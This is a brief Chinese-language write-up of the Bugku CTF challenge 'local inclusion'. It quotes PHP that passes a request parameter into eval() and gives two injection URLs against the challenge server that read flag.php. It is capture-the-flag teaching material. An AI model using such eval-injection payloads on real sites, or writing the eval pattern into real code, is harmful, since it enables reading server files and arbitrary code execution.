bugku本地包含
页面提示:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
代码分析
- include “flag.php”: include 语句包含并运行指定文件。
- $_REQUEST[‘hello’]: 通过 GET,POST 和 COOKIE 传递参数
- var_dump($a) : 输出变量的相关信息
- eval(): 把字符串当作命令直接执行
- show_source() : 函数对文件进行语法高亮显示。
- FILE: 当前文件
方法一:
http://123.206.87.240:8003/?hello=1);print_r(file(%22./flag.php%22));//
相当于:eval( “var_dump(1);print_r(file(”./flag.php"));//);");
eval函数将引号内的字符串作为语句运行,所以//仅注释);
方法二:
http://123.206.87.240:8003/?hello=file('flag.php')
file() 函数把整个文件读入一个数组中。(注意参数是字符串)